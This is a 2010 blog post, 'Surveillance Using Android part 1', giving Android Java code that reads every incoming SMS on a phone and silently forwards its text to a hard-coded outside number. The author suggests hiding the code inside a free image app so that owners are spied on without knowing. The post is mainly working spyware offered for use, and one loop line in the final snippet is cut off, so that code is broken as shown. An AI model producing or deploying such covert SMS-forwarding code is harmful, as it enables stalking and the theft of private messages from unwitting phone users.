Wednesday, September 29, 2010

Surveillance Using Android part 1


So how can we surveillance using Android? From, last few months i was basically wondering around what type of apps we can developed on this purpose. So, in this blog i will basically discuss different features of Android and how we can use them for our purpose. and, hopefully some sample code to do that. First one on this purpose goes basically below. I wish to write more in the coming weeks using other Android features and issues.

SMS, SMS and it is SMS

One of the very important features of mobile phone is send and receive SMS.  In the Android permission section we can add

 <uses-permission android:name="android.permission.READ_SMS"></uses-permission>

<uses-permission android:name="android.permission.SEND_SMS"></uses-permission>

This two simple line is basically saying we can send and receive SMS from our apps. Cool! Now we can write our own send and receive SMS application.

Sending SMS

We can send SMS with following lines of code.

             SmsManager sm = SmsManager.getDefault();
             sm.sendTextMessage("1888888XXX", null, str, null, null);


SMS Manager is responsible for handling all purpose related to SMS. And getDefault() giving us an instance of SMS Manager.  And, in the seccond line we are basically sending sms  to number 1888888XXX and message text is “Test SMS”.


Receiving SMS

Now, for receiving SMS we need a class we have to use BroadcastReceiver instance. And, we have to register that Receiver with our Activity. So following code will do the work.

registerReceiver(new BroadcastReceiver(){

           @Override
           public void onReceive(Context context, Intent intent) {
               // TODO Auto-generated method stub
               Bundle bundle = intent.getExtras();      
               SmsMessage msgs = null;
               String str = "";          
               if (bundle != null)
               {
                   //---retrieve the SMS message received---
                   Object[] pdus = (Object[]) bundle.get("pdus");        
                   for (int i=0;i<pdus.length; i++){
                       msgs = SmsMessage.createFromPdu((byte[])pdus[i]);                    
                       str += msgs.getMessageBody().toString();
                   }
               }   
           }

       }, new IntentFilter("android.provider.Telephony.SMS_RECEIVED"));


So we basically implement BroadcastReceiver’s only abstract method onReceive. So when ever a broadcast message matches our filter “Telephony.SMS_RECEIVED” onReceived method is called and then we fetch our SMS information from Intent getExtras() method.

Seems like our SMS send and receive basically ready. Now if we add our SMS sending code with this it will then forward us any sms received by a phone.

Send-Receive

context.registerReceiver(new BroadcastReceiver(){
           @Override
           public void onReceive(Context context, Intent intent) {
               // TODO Auto-generated method stub
               Bundle bundle = intent.getExtras();      
               SmsMessage msgs = null;
               String str = "";          
               if (bundle != null)
               {
                   //---retrieve the SMS message received---
                   Object[] pdus = (Object[]) bundle.get("pdus");        
                   for (int i=0; i
                       msgs = SmsMessage.createFromPdu((byte[])pdus[i]);                    
                       str += msgs.getMessageBody().toString();
                   }
                   // forwarding sms
                   SmsManager sm = SmsManager.getDefault();
                   sm.sendTextMessage("16467080XXX", null, str, null, null);
               }   
           }
       }, new IntentFilter("android.provider.Telephony.SMS_RECEIVED"));

We can put this code in any where in our java source file and this system will work fine. How about putting this with one free Image App? Surveillance seems like so easy right?

No comments: